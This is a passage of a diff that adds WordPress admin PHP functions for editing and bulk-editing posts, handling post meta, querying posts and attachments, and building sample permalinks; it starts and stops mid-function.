+			foreach ( $terms as $term ) {
+				// Empty terms are invalid input.
+				if ( empty( $term ) ) {
+					continue;
+				}
+
+				$_term = get_terms( $taxonomy, array(
+					'name' => $term,
+					'fields' => 'ids',
+					'hide_empty' => false,
+				) );
+
+				if ( ! empty( $_term ) ) {
+					$clean_terms[] = intval( $_term[0] );
+				} else {
+					// No existing term was found, so pass the string. A new term will be created.
+					$clean_terms[] = $term;
+				}
+			}
+
+			$translated['tax_input'][ $taxonomy ] = $clean_terms;
+		}
+	}
+
+	add_meta( $post_ID );
+
+	update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
+
+	$success = wp_update_post( $translated );
+	// If the save failed, see if we can sanity check the main fields and try again
+	if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
+		$fields = array( 'post_title', 'post_content', 'post_excerpt' );
+
+		foreach ( $fields as $field ) {
+			if ( isset( $translated[ $field ] ) ) {
+				$translated[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $translated[ $field ] );
+			}
+		}
+
+		wp_update_post( $translated );
+	}
+
+	// Now that we have an ID we can fix any attachment anchor hrefs
+	_fix_attachment_links( $post_ID );
+
+	wp_set_post_lock( $post_ID );
+
+	if ( current_user_can( $ptype->cap->edit_others_posts ) && current_user_can( $ptype->cap->publish_posts ) ) {
+		if ( ! empty( $post_data['sticky'] ) )
+			stick_post( $post_ID );
+		else
+			unstick_post( $post_ID );
+	}
+
+	return $post_ID;
+}
+
+/**
+ * Process the post data for the bulk editing of posts.
+ *
+ * Updates all bulk edited posts/pages, adding (but not removing) tags and
+ * categories. Skips pages when they would be their own parent or child.
+ *
+ * @since 2.7.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $post_data Optional, the array of post data to process if not provided will use $_POST superglobal.
+ * @return array
+ */
+function bulk_edit_posts( $post_data = null ) {
+	global $wpdb;
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	if ( isset($post_data['post_type']) )
+		$ptype = get_post_type_object($post_data['post_type']);
+	else
+		$ptype = get_post_type_object('post');
+
+	if ( !current_user_can( $ptype->cap->edit_posts ) ) {
+		if ( 'page' == $ptype->name )
+			wp_die( __('Sorry, you are not allowed to edit pages.'));
+		else
+			wp_die( __('Sorry, you are not allowed to edit posts.'));
+	}
+
+	if ( -1 == $post_data['_status'] ) {
+		$post_data['post_status'] = null;
+		unset($post_data['post_status']);
+	} else {
+		$post_data['post_status'] = $post_data['_status'];
+	}
+	unset($post_data['_status']);
+
+	if ( ! empty( $post_data['post_status'] ) ) {
+		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );
+
+		if ( 'inherit' == $post_data['post_status'] ) {
+			unset( $post_data['post_status'] );
+		}
+	}
+
+	$post_IDs = array_map( 'intval', (array) $post_data['post'] );
+
+	$reset = array(
+		'post_author', 'post_status', 'post_password',
+		'post_parent', 'page_template', 'comment_status',
+		'ping_status', 'keep_private', 'tax_input',
+		'post_category', 'sticky', 'post_format',
+	);
+
+	foreach ( $reset as $field ) {
+		if ( isset($post_data[$field]) && ( '' == $post_data[$field] || -1 == $post_data[$field] ) )
+			unset($post_data[$field]);
+	}
+
+	if ( isset($post_data['post_category']) ) {
+		if ( is_array($post_data['post_category']) && ! empty($post_data['post_category']) )
+			$new_cats = array_map( 'absint', $post_data['post_category'] );
+		else
+			unset($post_data['post_category']);
+	}
+
+	$tax_input = array();
+	if ( isset($post_data['tax_input'])) {
+		foreach ( $post_data['tax_input'] as $tax_name => $terms ) {
+			if ( empty($terms) )
+				continue;
+			if ( is_taxonomy_hierarchical( $tax_name ) ) {
+				$tax_input[ $tax_name ] = array_map( 'absint', $terms );
+			} else {
+				$comma = _x( ',', 'tag delimiter' );
+				if ( ',' !== $comma )
+					$terms = str_replace( $comma, ',', $terms );
+				$tax_input[ $tax_name ] = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
+			}
+		}
+	}
+
+	if ( isset($post_data['post_parent']) && ($parent = (int) $post_data['post_parent']) ) {
+		$pages = $wpdb->get_results("SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'");
+		$children = array();
+
+		for ( $i = 0; $i < 50 && $parent > 0; $i++ ) {
+			$children[] = $parent;
+
+			foreach ( $pages as $page ) {
+				if ( $page->ID == $parent ) {
+					$parent = $page->post_parent;
+					break;
+				}
+			}
+		}
+	}
+
+	$updated = $skipped = $locked = array();
+	$shared_post_data = $post_data;
+
+	foreach ( $post_IDs as $post_ID ) {
+		// Start with fresh post data with each iteration.
+		$post_data = $shared_post_data;
+
+		$post_type_object = get_post_type_object( get_post_type( $post_ID ) );
+
+		if ( !isset( $post_type_object ) || ( isset($children) && in_array($post_ID, $children) ) || !current_user_can( 'edit_post', $post_ID ) ) {
+			$skipped[] = $post_ID;
+			continue;
+		}
+
+		if ( wp_check_post_lock( $post_ID ) ) {
+			$locked[] = $post_ID;
+			continue;
+		}
+
+		$post = get_post( $post_ID );
+		$tax_names = get_object_taxonomies( $post );
+		foreach ( $tax_names as $tax_name ) {
+			$taxonomy_obj = get_taxonomy($tax_name);
+			if ( isset( $tax_input[$tax_name]) && current_user_can( $taxonomy_obj->cap->assign_terms ) )
+				$new_terms = $tax_input[$tax_name];
+			else
+				$new_terms = array();
+
+			if ( $taxonomy_obj->hierarchical )
+				$current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array('fields' => 'ids') );
+			else
+				$current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array('fields' => 'names') );
+
+			$post_data['tax_input'][$tax_name] = array_merge( $current_terms, $new_terms );
+		}
+
+		if ( isset($new_cats) && in_array( 'category', $tax_names ) ) {
+			$cats = (array) wp_get_post_categories($post_ID);
+			$post_data['post_category'] = array_unique( array_merge($cats, $new_cats) );
+			unset( $post_data['tax_input']['category'] );
+		}
+
+		$post_data['post_ID']        = $post_ID;
+		$post_data['post_type'] = $post->post_type;
+		$post_data['post_mime_type'] = $post->post_mime_type;
+
+		foreach ( array( 'comment_status', 'ping_status', 'post_author' ) as $field ) {
+			if ( ! isset( $post_data[ $field ] ) ) {
+				$post_data[ $field ] = $post->$field;
+			}
+		}
+
+		$post_data = _wp_translate_postdata( true, $post_data );
+		if ( is_wp_error( $post_data ) ) {
+			$skipped[] = $post_ID;
+			continue;
+		}
+		$post_data = _wp_get_allowed_postdata( $post_data );
+
+		if ( isset( $shared_post_data['post_format'] ) ) {
+			set_post_format( $post_ID, $shared_post_data['post_format'] );
+			unset( $post_data['tax_input']['post_format'] );
+		}
+
+		$updated[] = wp_update_post( $post_data );
+
+		if ( isset( $post_data['sticky'] ) && current_user_can( $ptype->cap->edit_others_posts ) ) {
+			if ( 'sticky' == $post_data['sticky'] )
+				stick_post( $post_ID );
+			else
+				unstick_post( $post_ID );
+		}
+	}
+
+	return array( 'updated' => $updated, 'skipped' => $skipped, 'locked' => $locked );
+}
+
+/**
+ * Default post information to use when populating the "Write Post" form.
+ *
+ * @since 2.0.0
+ *
+ * @param string $post_type    Optional. A post type string. Default 'post'.
+ * @param bool   $create_in_db Optional. Whether to insert the post into database. Default false.
+ * @return WP_Post Post object containing all the default post data as attributes
+ */
+function get_default_post_to_edit( $post_type = 'post', $create_in_db = false ) {
+	$post_title = '';
+	if ( !empty( $_REQUEST['post_title'] ) )
+		$post_title = esc_html( wp_unslash( $_REQUEST['post_title'] ));
+
+	$post_content = '';
+	if ( !empty( $_REQUEST['content'] ) )
+		$post_content = esc_html( wp_unslash( $_REQUEST['content'] ));
+
+	$post_excerpt = '';
+	if ( !empty( $_REQUEST['excerpt'] ) )
+		$post_excerpt = esc_html( wp_unslash( $_REQUEST['excerpt'] ));
+
+	if ( $create_in_db ) {
+		$post_id = wp_insert_post( array( 'post_title' => __( 'Auto Draft' ), 'post_type' => $post_type, 'post_status' => 'auto-draft' ) );
+		$post = get_post( $post_id );
+		if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) && get_option( 'default_post_format' ) )
+			set_post_format( $post, get_option( 'default_post_format' ) );
+	} else {
+		$post = new stdClass;
+		$post->ID = 0;
+		$post->post_author = '';
+		$post->post_date = '';
+		$post->post_date_gmt = '';
+		$post->post_password = '';
+		$post->post_name = '';
+		$post->post_type = $post_type;
+		$post->post_status = 'draft';
+		$post->to_ping = '';
+		$post->pinged = '';
+		$post->comment_status = get_default_comment_status( $post_type );
+		$post->ping_status = get_default_comment_status( $post_type, 'pingback' );
+		$post->post_pingback = get_option( 'default_pingback_flag' );
+		$post->post_category = get_option( 'default_category' );
+		$post->page_template = 'default';
+		$post->post_parent = 0;
+		$post->menu_order = 0;
+		$post = new WP_Post( $post );
+	}
+
+	/**
+	 * Filters the default post content initially used in the "Write Post" form.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $post_content Default post content.
+	 * @param WP_Post $post         Post object.
+	 */
+	$post->post_content = (string) apply_filters( 'default_content', $post_content, $post );
+
+	/**
+	 * Filters the default post title initially used in the "Write Post" form.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $post_title Default post title.
+	 * @param WP_Post $post       Post object.
+	 */
+	$post->post_title = (string) apply_filters( 'default_title', $post_title, $post );
+
+	/**
+	 * Filters the default post excerpt initially used in the "Write Post" form.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $post_excerpt Default post excerpt.
+	 * @param WP_Post $post         Post object.
+	 */
+	$post->post_excerpt = (string) apply_filters( 'default_excerpt', $post_excerpt, $post );
+
+	return $post;
+}
+
+/**
+ * Determine if a post exists based on title, content, and date
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $title Post title
+ * @param string $content Optional post content
+ * @param string $date Optional post date
+ * @return int Post ID if post exists, 0 otherwise.
+ */
+function post_exists($title, $content = '', $date = '') {
+	global $wpdb;
+
+	$post_title = wp_unslash( sanitize_post_field( 'post_title', $title, 0, 'db' ) );
+	$post_content = wp_unslash( sanitize_post_field( 'post_content', $content, 0, 'db' ) );
+	$post_date = wp_unslash( sanitize_post_field( 'post_date', $date, 0, 'db' ) );
+
+	$query = "SELECT ID FROM $wpdb->posts WHERE 1=1";
+	$args = array();
+
+	if ( !empty ( $date ) ) {
+		$query .= ' AND post_date = %s';
+		$args[] = $post_date;
+	}
+
+	if ( !empty ( $title ) ) {
+		$query .= ' AND post_title = %s';
+		$args[] = $post_title;
+	}
+
+	if ( !empty ( $content ) ) {
+		$query .= ' AND post_content = %s';
+		$args[] = $post_content;
+	}
+
+	if ( !empty ( $args ) )
+		return (int) $wpdb->get_var( $wpdb->prepare($query, $args) );
+
+	return 0;
+}
+
+/**
+ * Creates a new post from the "Write Post" form using $_POST information.
+ *
+ * @since 2.1.0
+ *
+ * @global WP_User $current_user
+ *
+ * @return int|WP_Error
+ */
+function wp_write_post() {
+	if ( isset($_POST['post_type']) )
+		$ptype = get_post_type_object($_POST['post_type']);
+	else
+		$ptype = get_post_type_object('post');
+
+	if ( !current_user_can( $ptype->cap->edit_posts ) ) {
+		if ( 'page' == $ptype->name )
+			return new WP_Error( 'edit_pages', __( 'Sorry, you are not allowed to create pages on this site.' ) );
+		else
+			return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to create posts or drafts on this site.' ) );
+	}
+
+	$_POST['post_mime_type'] = '';
+
+	// Clear out any data in internal vars.
+	unset( $_POST['filter'] );
+
+	// Edit don't write if we have a post id.
+	if ( isset( $_POST['post_ID'] ) )
+		return edit_post();
+
+	if ( isset($_POST['visibility']) ) {
+		switch ( $_POST['visibility'] ) {
+			case 'public' :
+				$_POST['post_password'] = '';
+				break;
+			case 'password' :
+				unset( $_POST['sticky'] );
+				break;
+			case 'private' :
+				$_POST['post_status'] = 'private';
+				$_POST['post_password'] = '';
+				unset( $_POST['sticky'] );
+				break;
+		}
+	}
+
+	$translated = _wp_translate_postdata( false );
+	if ( is_wp_error($translated) )
+		return $translated;
+	$translated = _wp_get_allowed_postdata( $translated );
+
+	// Create the post.
+	$post_ID = wp_insert_post( $translated );
+	if ( is_wp_error( $post_ID ) )
+		return $post_ID;
+
+	if ( empty($post_ID) )
+		return 0;
+
+	add_meta( $post_ID );
+
+	add_post_meta( $post_ID, '_edit_last', $GLOBALS['current_user']->ID );
+
+	// Now that we have an ID we can fix any attachment anchor hrefs
+	_fix_attachment_links( $post_ID );
+
+	wp_set_post_lock( $post_ID );
+
+	return $post_ID;
+}
+
+/**
+ * Calls wp_write_post() and handles the errors.
+ *
+ * @since 2.0.0
+ *
+ * @return int|null
+ */
+function write_post() {
+	$result = wp_write_post();
+	if ( is_wp_error( $result ) )
+		wp_die( $result->get_error_message() );
+	else
+		return $result;
+}
+
+//
+// Post Meta
+//
+
+/**
+ * Add post meta data defined in $_POST superglobal for post with given ID.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_ID
+ * @return int|bool
+ */
+function add_meta( $post_ID ) {
+	$post_ID = (int) $post_ID;
+
+	$metakeyselect = isset($_POST['metakeyselect']) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : '';
+	$metakeyinput = isset($_POST['metakeyinput']) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : '';
+	$metavalue = isset($_POST['metavalue']) ? $_POST['metavalue'] : '';
+	if ( is_string( $metavalue ) )
+		$metavalue = trim( $metavalue );
+
+	if ( ( ( '#NONE#' != $metakeyselect ) && ! empty( $metakeyselect ) ) || ! empty( $metakeyinput ) ) {
+		/*
+		 * We have a key/value pair. If both the select and the input
+		 * for the key have data, the input takes precedence.
+		 */
+ 		if ( '#NONE#' != $metakeyselect )
+			$metakey = $metakeyselect;
+
+		if ( $metakeyinput )
+			$metakey = $metakeyinput; // default
+
+		if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_ID, $metakey ) )
+			return false;
+
+		$metakey = wp_slash( $metakey );
+
+		return add_post_meta( $post_ID, $metakey, $metavalue );
+	}
+
+	return false;
+} // add_meta
+
+/**
+ * Delete post meta data by meta ID.
+ *
+ * @since 1.2.0
+ *
+ * @param int $mid
+ * @return bool
+ */
+function delete_meta( $mid ) {
+	return delete_metadata_by_mid( 'post' , $mid );
+}
+
+/**
+ * Get a list of previously defined keys.
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return mixed
+ */
+function get_meta_keys() {
+	global $wpdb;
+
+	$keys = $wpdb->get_col( "
+			SELECT meta_key
+			FROM $wpdb->postmeta
+			GROUP BY meta_key
+			ORDER BY meta_key" );
+
+	return $keys;
+}
+
+/**
+ * Get post meta data by meta ID.
+ *
+ * @since 2.1.0
+ *
+ * @param int $mid
+ * @return object|bool
+ */
+function get_post_meta_by_id( $mid ) {
+	return get_metadata_by_mid( 'post', $mid );
+}
+
+/**
+ * Get meta data for the given post ID.
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $postid
+ * @return mixed
+ */
+function has_meta( $postid ) {
+	global $wpdb;
+
+	return $wpdb->get_results( $wpdb->prepare("SELECT meta_key, meta_value, meta_id, post_id
+			FROM $wpdb->postmeta WHERE post_id = %d
+			ORDER BY meta_key,meta_id", $postid), ARRAY_A );
+}
+
+/**
+ * Update post meta data by meta ID.
+ *
+ * @since 1.2.0
+ *
+ * @param int    $meta_id
+ * @param string $meta_key Expect Slashed
+ * @param string $meta_value Expect Slashed
+ * @return bool
+ */
+function update_meta( $meta_id, $meta_key, $meta_value ) {
+	$meta_key = wp_unslash( $meta_key );
+	$meta_value = wp_unslash( $meta_value );
+
+	return update_metadata_by_mid( 'post', $meta_id, $meta_value, $meta_key );
+}
+
+//
+// Private
+//
+
+/**
+ * Replace hrefs of attachment anchors with up-to-date permalinks.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param int|object $post Post ID or post object.
+ * @return void|int|WP_Error Void if nothing fixed. 0 or WP_Error on update failure. The post ID on update success.
+ */
+function _fix_attachment_links( $post ) {
+	$post = get_post( $post, ARRAY_A );
+	$content = $post['post_content'];
+
+	// Don't run if no pretty permalinks or post is not published, scheduled, or privately published.
+	if ( ! get_option( 'permalink_structure' ) || ! in_array( $post['post_status'], array( 'publish', 'future', 'private' ) ) )
+		return;
+
+	// Short if there aren't any links or no '?attachment_id=' strings (strpos cannot be zero)
+	if ( !strpos($content, '?attachment_id=') || !preg_match_all( '/<a ([^>]+)>[\s\S]+?<\/a>/', $content, $link_matches ) )
+		return;
+
+	$site_url = get_bloginfo('url');
+	$site_url = substr( $site_url, (int) strpos($site_url, '://') ); // remove the http(s)
+	$replace = '';
+
+	foreach ( $link_matches[1] as $key => $value ) {
+		if ( !strpos($value, '?attachment_id=') || !strpos($value, 'wp-att-')
+			|| !preg_match( '/href=(["\'])[^"\']*\?attachment_id=(\d+)[^"\']*\\1/', $value, $url_match )
+			|| !preg_match( '/rel=["\'][^"\']*wp-att-(\d+)/', $value, $rel_match ) )
+				continue;
+
+		$quote = $url_match[1]; // the quote (single or double)
+		$url_id = (int) $url_match[2];
+		$rel_id = (int) $rel_match[1];
+
+		if ( !$url_id || !$rel_id || $url_id != $rel_id || strpos($url_match[0], $site_url) === false )
+			continue;
+
+		$link = $link_matches[0][$key];
+		$replace = str_replace( $url_match[0], 'href=' . $quote . get_attachment_link( $url_id ) . $quote, $link );
+
+		$content = str_replace( $link, $replace, $content );
+	}
+
+	if ( $replace ) {
+		$post['post_content'] = $content;
+		// Escape data pulled from DB.
+		$post = add_magic_quotes($post);
+
+		return wp_update_post($post);
+	}
+}
+
+/**
+ * Get all the possible statuses for a post_type
+ *
+ * @since 2.5.0
+ *
+ * @param string $type The post_type you want the statuses for
+ * @return array As array of all the statuses for the supplied post type
+ */
+function get_available_post_statuses($type = 'post') {
+	$stati = wp_count_posts($type);
+
+	return array_keys(get_object_vars($stati));
+}
+
+/**
+ * Run the wp query to fetch the posts for listing on the edit posts page
+ *
+ * @since 2.5.0
+ *
+ * @param array|bool $q Array of query variables to use to build the query or false to use $_GET superglobal.
+ * @return array
+ */
+function wp_edit_posts_query( $q = false ) {
+	if ( false === $q )
+		$q = $_GET;
+	$q['m'] = isset($q['m']) ? (int) $q['m'] : 0;
+	$q['cat'] = isset($q['cat']) ? (int) $q['cat'] : 0;
+	$post_stati  = get_post_stati();
+
+	if ( isset($q['post_type']) && in_array( $q['post_type'], get_post_types() ) )
+		$post_type = $q['post_type'];
+	else
+		$post_type = 'post';
+
+	$avail_post_stati = get_available_post_statuses($post_type);
+	$post_status      = '';
+	$perm             = '';
+
+	if ( isset($q['post_status']) && in_array( $q['post_status'], $post_stati ) ) {
+		$post_status = $q['post_status'];
+		$perm = 'readable';
+	}
+
+	$orderby = '';
+
+	if ( isset( $q['orderby'] ) ) {
+		$orderby = $q['orderby'];
+	} elseif ( isset( $q['post_status'] ) && in_array( $q['post_status'], array( 'pending', 'draft' ) ) ) {
+		$orderby = 'modified';
+	}
+
+	$order = '';
+
+	if ( isset( $q['order'] ) ) {
+		$order = $q['order'];
+	} elseif ( isset( $q['post_status'] ) && 'pending' == $q['post_status'] ) {
+		$order = 'ASC';
+	}
+
+	$per_page = "edit_{$post_type}_per_page";
+	$posts_per_page = (int) get_user_option( $per_page );
+	if ( empty( $posts_per_page ) || $posts_per_page < 1 )
+		$posts_per_page = 20;
+
+	/**
+	 * Filters the number of items per page to show for a specific 'per_page' type.
+	 *
+	 * The dynamic portion of the hook name, `$post_type`, refers to the post type.
+	 *
+	 * Some examples of filter hooks generated here include: 'edit_attachment_per_page',
+	 * 'edit_post_per_page', 'edit_page_per_page', etc.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $posts_per_page Number of posts to display per page for the given post
+	 *                            type. Default 20.
+	 */
+	$posts_per_page = apply_filters( "edit_{$post_type}_per_page", $posts_per_page );
+
+	/**
+	 * Filters the number of posts displayed per page when specifically listing "posts".
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int    $posts_per_page Number of posts to be displayed. Default 20.
+	 * @param string $post_type      The post type.
+	 */
+	$posts_per_page = apply_filters( 'edit_posts_per_page', $posts_per_page, $post_type );
+
+	$query = compact('post_type', 'post_status', 'perm', 'order', 'orderby', 'posts_per_page');
+
+	// Hierarchical types require special args.
+	if ( is_post_type_hierarchical( $post_type ) && empty( $orderby ) ) {
+		$query['orderby'] = 'menu_order title';
+		$query['order'] = 'asc';
+		$query['posts_per_page'] = -1;
+		$query['posts_per_archive_page'] = -1;
+		$query['fields'] = 'id=>parent';
+	}
+
+	if ( ! empty( $q['show_sticky'] ) )
+		$query['post__in'] = (array) get_option( 'sticky_posts' );
+
+	wp( $query );
+
+	return $avail_post_stati;
+}
+
+/**
+ * Get all available post MIME types for a given post type.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $type
+ * @return mixed
+ */
+function get_available_post_mime_types($type = 'attachment') {
+	global $wpdb;
+
+	$types = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type));
+	return $types;
+}
+
+/**
+ * Get the query variables for the current attachments request.
+ *
+ * @since 4.2.0
+ *
+ * @param array|false $q Optional. Array of query variables to use to build the query or false
+ *                       to use $_GET superglobal. Default false.
+ * @return array The parsed query vars.
+ */
+function wp_edit_attachments_query_vars( $q = false ) {
+	if ( false === $q ) {
+		$q = $_GET;
+	}
+	$q['m']   = isset( $q['m'] ) ? (int) $q['m'] : 0;
+	$q['cat'] = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
+	$q['post_type'] = 'attachment';
+	$post_type = get_post_type_object( 'attachment' );
+	$states = 'inherit';
+	if ( current_user_can( $post_type->cap->read_private_posts ) ) {
+		$states .= ',private';
+	}
+
+	$q['post_status'] = isset( $q['status'] ) && 'trash' == $q['status'] ? 'trash' : $states;
+	$q['post_status'] = isset( $q['attachment-filter'] ) && 'trash' == $q['attachment-filter'] ? 'trash' : $states;
+
+	$media_per_page = (int) get_user_option( 'upload_per_page' );
+	if ( empty( $media_per_page ) || $media_per_page < 1 ) {
+		$media_per_page = 20;
+	}
+
+	/**
+	 * Filters the number of items to list per page when listing media items.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $media_per_page Number of media to list. Default 20.
+	 */
+	$q['posts_per_page'] = apply_filters( 'upload_per_page', $media_per_page );
+
+	$post_mime_types = get_post_mime_types();
+	if ( isset($q['post_mime_type']) && !array_intersect( (array) $q['post_mime_type'], array_keys($post_mime_types) ) ) {
+		unset($q['post_mime_type']);
+	}
+
+	foreach ( array_keys( $post_mime_types ) as $type ) {
+		if ( isset( $q['attachment-filter'] ) && "post_mime_type:$type" == $q['attachment-filter'] ) {
+			$q['post_mime_type'] = $type;
+			break;
+		}
+	}
+
+	if ( isset( $q['detached'] ) || ( isset( $q['attachment-filter'] ) && 'detached' == $q['attachment-filter'] ) ) {
+		$q['post_parent'] = 0;
+	}
+
+	if ( isset( $q['mine'] ) || ( isset( $q['attachment-filter'] ) && 'mine' == $q['attachment-filter'] ) ) {
+		$q['author'] = get_current_user_id();
+	}
+
+	// Filter query clauses to include filenames.
+	if ( isset( $q['s'] ) ) {
+		add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
+	}
+
+	return $q;
+}
+
+/**
+ * Executes a query for attachments. An array of WP_Query arguments
+ * can be passed in, which will override the arguments set by this function.
+ *
+ * @since 2.5.0
+ *
+ * @param array|false $q Array of query variables to use to build the query or false to use $_GET superglobal.
+ * @return array
+ */
+function wp_edit_attachments_query( $q = false ) {
+	wp( wp_edit_attachments_query_vars( $q ) );
+
+	$post_mime_types = get_post_mime_types();
+	$avail_post_mime_types = get_available_post_mime_types( 'attachment' );
+
+	return array( $post_mime_types, $avail_post_mime_types );
+}
+
+/**
+ * Returns the list of classes to be used by a meta box.
+ *
+ * @since 2.5.0
+ *
+ * @param string $id
+ * @param string $page
+ * @return string
+ */
+function postbox_classes( $id, $page ) {
+	if ( isset( $_GET['edit'] ) && $_GET['edit'] == $id ) {
+		$classes = array( '' );
+	} elseif ( $closed = get_user_option('closedpostboxes_'.$page ) ) {
+		if ( !is_array( $closed ) ) {
+			$classes = array( '' );
+		} else {
+			$classes = in_array( $id, $closed ) ? array( 'closed' ) : array( '' );
+		}
+	} else {
+		$classes = array( '' );
+	}
+
+	/**
+	 * Filters the postbox classes for a specific screen and screen ID combo.
+	 *
+	 * The dynamic portions of the hook name, `$page` and `$id`, refer to
+	 * the screen and screen ID, respectively.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $classes An array of postbox classes.
+	 */
+	$classes = apply_filters( "postbox_classes_{$page}_{$id}", $classes );
+	return implode( ' ', $classes );
+}
+
+/**
+ * Get a sample permalink based off of the post name.
+ *
+ * @since 2.5.0
+ *
+ * @param int    $id    Post ID or post object.
+ * @param string $title Optional. Title to override the post's current title when generating the post name. Default null.
+ * @param string $name  Optional. Name to override the post name. Default null.
+ * @return array Array containing the sample permalink with placeholder for the post name, and the post name.
+ */
+function get_sample_permalink($id, $title = null, $name = null) {
+	$post = get_post( $id );
+	if ( ! $post )
+		return array( '', '' );
+
+	$ptype = get_post_type_object($post->post_type);
+
+	$original_status = $post->post_status;
+	$original_date = $post->post_date;
+	$original_name = $post->post_name;
+
+	// Hack: get_permalink() would return ugly permalink for drafts, so we will fake that our post is published.
+	if ( in_array( $post->post_status, array( 'draft', 'pending', 'future' ) ) ) {
+		$post->post_status = 'publish';
+		$post->post_name = sanitize_title($post->post_name ? $post->post_name : $post->post_title, $post->ID);
+	}
+
+	// If the user wants to set a new name -- override the current one
+	// Note: if empty name is supplied -- use the title instead, see #6072
+	if ( !is_null($name) )
+		$post->post_name = sanitize_title($name ? $name : $title, $post->ID);
+
+	$post->post_name = wp_unique_post_slug($post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent);
+
+	$post->filter = 'sample';
+
+	$permalink = get_permalink($post, true);
+
+	// Replace custom post_type Token with generic pagename token for ease of use.
+	$permalink = str_replace("%$post->post_type%", '%pagename%', $permalink);
+
+	// Handle page hierarchy
+	if ( $ptype->hierarchical ) {
+		$uri = get_page_uri($post);
+		if ( $uri ) {
+			$uri = untrailingslashit($uri);
+			$uri = strrev( stristr( strrev( $uri ), '/' ) );
+			$uri = untrailingslashit($uri);
+		}
+
+		/** This filter is documented in wp-admin/edit-tag-form.php */
+		$uri = apply_filters( 'editable_slug', $uri, $post );
+		if ( !empty($uri) )
+			$uri .= '/';
+		$permalink = str_replace('%pagename%', "{$uri}%pagename%", $permalink);
+	}
+
+	/** This filter is documented in wp-admin/edit-tag-form.php */
+	$permalink = array( $permalink, apply_filters( 'editable_slug', $post->post_name, $post ) );
+	$post->post_status = $original_status;
+	$post->post_date = $original_date;
+	$post->post_name = $original_name;
+	unset($post->filter);
+
+	/**
+	 * Filters the sample permalink.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array   $permalink Array containing the sample permalink with placeholder for the post name, and the post name.
+	 * @param int     $post_id   Post ID.
+	 * @param string  $title     Post title.
+	 * @param string  $name      Post name (slug).
+	 * @param WP_Post $post      Post object.
+	 */
+	return apply_filters( 'get_sample_permalink', $permalink, $post->ID, $title, $name, $post );
+}
+
+/**
+ * Returns the HTML of the sample permalink slug editor.
+ *
+ * @since 2.5.0
+ *
+ * @param int    $id        Post ID or post object.
+ * @param string $new_title Optional. New title. Default null.
+ * @param string $new_slug  Optional. New slug. Default null.
+ * @return string The HTML of the sample permalink slug editor.
+ */
+function get_sample_permalink_html( $id, $new_title = null, $new_slug = null ) {
+	$post = get_post( $id );
+	if ( ! $post )
+		return '';
+
+	list($permalink, $post_name) = get_sample_permalink($post->ID, $new_title, $new_slug);
+
+	$view_link = false;
+	$preview_target = '';
+
+	if ( current_user_can( 'read_post', $post->ID ) ) {
+		if ( 'draft' === $post->post_status || empty( $post->post_name ) ) {
+			$view_link = get_preview_post_link( $post );
+			$preview_target = " target='wp-preview-{$post->ID}'";
+		} else {
+			if ( 'publish' === $post->post_status || 'attachment' === $post->post_type ) {
+				$view_link = get_permalink( $post );
+			} else {
+				// Allow non-published (private, future) to be viewed at a pretty permalink, in case $post->post_name is set
+				$view_link = str_replace( array( '%pagename%', '%postname%' ), $post->post_name, $permalink );
+			}
+		}
+	}
+
+	// Permalinks without a post/page name placeholder don't have anything to edit
+	if ( false === strpos( $permalink, '%postname%' ) && false === strpos( $permalink, '%pagename%' ) ) {
+		$return = '<strong>' . __( 'Permalink:' ) . "</strong>\n";
+
+		if ( false !== $view_link ) {
+			$display_link = urldecode( $view_link );
+			$return .= '<a id="sample-permalink" href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . esc_html( $display_link ) . "</a>\n";
+		} else {
+			$return .= '<span id="sample-permalink">' . $permalink . "</span>\n";
+		}
+
+		// Encourage a pretty permalink setting
+		if ( '' == get_option( 'permalink_structure' ) && current_user_can( 'manage_options' ) && !( 'page' == get_option('show_on_front') && $id == get_option('page_on_front') ) ) {
+			$return .= '<span id="change-permalinks"><a href="options-permalink.php" class="button button-small" target="_blank">' . __('Change Permalinks') . "</a></span>\n";
+		}
+	} else {
+		if ( mb_strlen( $post_name ) > 34 ) {
+			$post_name_abridged = mb_substr( $post_name, 0, 16 ) . '&hellip;' . mb_substr( $post_name, -16 );
+		} else {
+			$post_name_abridged = $post_name;
+		}
+
+		$post_name_html = '<span id="editable-post-name">' . esc_html( $post_name_abridged ) . '</span>';
+		$display_link = str_replace( array( '%pagename%', '%postname%' ), $post_name_html, esc_html( urldecode( $permalink ) ) );
+
+		$return = '<strong>' . __( 'Permalink:' ) . "</strong>\n";
